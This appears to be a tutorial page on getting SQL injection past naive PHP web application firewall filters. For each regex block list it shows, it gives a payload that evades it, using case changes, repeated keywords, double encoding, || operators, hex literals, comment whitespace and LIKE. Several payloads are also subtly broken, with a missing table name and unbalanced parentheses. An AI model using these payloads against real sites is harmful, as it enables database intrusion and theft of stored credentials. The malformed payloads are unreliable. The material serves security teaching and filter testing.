WAF Bypass
Uppercase and Lowercase
Suppose the WAF filters union
using str_replace()
:
$sql = str_replace("union", "" , $sql);
This filter only filters lowercase union
, so we can use things like UNION
or UNion
.
Repeated String
Suppose the developer uses $sql = str_replace("union", "" , $sql);
and uppercase/lowercase is properly handled. We can still bypass this filter using unionunion
. Note that str_replace()
only removes union
once, so unionunion
becomes union
.
Doulbe URL Encoding
If the WAF only calls urldecode()
once, we can URL encode our payload twice to bypass the filter.
and/or
Suppose the WAF filters and
and or
:
preg_match('/(and|or)/i', $id)
The following payloads will be filtered:
1 or 1=1
1 and 1=1
We can bypass this filter using the following payload:
1 || 1=1
1 && 1=1
union
Suppose the WAF filters and
, or
, and union
:
preg_match('/(and|or|union)/i', $id)
The following payloads will be filtered:
union select user,password from users
We can bypass this filter using the following payload:
|| (select user from users where user_id = 1) = 'admin'
The ||
symbol expands the scope of select
, which has similar effect as union select
.
where
Suppose the WAF filters and
, or
, union
, and where
:
preg_match('/(and|or|union|where)/i', $id)
The following payloads will be filtered:
|| (select user from users where user_id = 1) = 'admin'
We can bypass this filter using the following payload:
|| (select user from users limit 1,1) = 'admin'
Here limit 1,1
has the same functionality as where
. limit 1,1
means start from index 1 and only select 1 entry.
limit
Suppose the WAF filters and
, or
, union
, where
and limit
:
preg_match('/(and|or|union|where|limit)/i', $id)
The following payload will be filtered:
|| (select user from users limit 1,1) = 'admin'
We can bypass this filter using the following payload:
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
group by
Suppose the WAF filters and
, or
, union
, where
, limit
and group by
:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
The following payload will be filtered:
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
We can bypass this filter using the following payload:
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
select and single quote
Suppose the WAF filters and
, or
, union
, where
, limit
, group by
, select
and single quote:
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
The following payload will be filtered:
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
We can bypass this filter using the following payload:
|| substr(name, 1, 1) = 0x74
|| substr(name, 1, 1) = unhex(74)
hex, unhex and substr
Suppose the WAF filters and
, or
, union
, where
, limit
, group by
, select
, single quote, hex
, unhex
, and substr
:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i', $id)
The following payload will be filtered:
|| substr(name, 1, 1) = unhex(74)
We can bypass this filter using the following payload:
|| binary(name) = 0x74657374
whitespace
Suppose the WAF filters and
, or
, union
, where
, limit
, group by
, select
, single quote, hex
, unhex
, substr
, and space:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i', $id)
The following payload will be filtered:
|| binary(name) = 0x74657374
We can bypass this filter using the following payload:
||/**/binary(name)/**/=/**/0x74657374
Here /**/
is an empty comment, which is equivalent to a whitespace.
equal sign
Suppose the WAF filters and
, or
, union
, where
, limit
, group by
, select
, single quote, hex
, unhex
, substr
, space, and =
:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s|=)/i', $id)
The following payload will be filtered:
||/**/binary(name)/**/=/**/0x74657374
We can bypass this filter using the following payload:
||/**/binary(name)/**/like/**/0x74657374
Here like
matches more results than =
, but we can use it just like =
anyway.
Last updated
Was this helpful?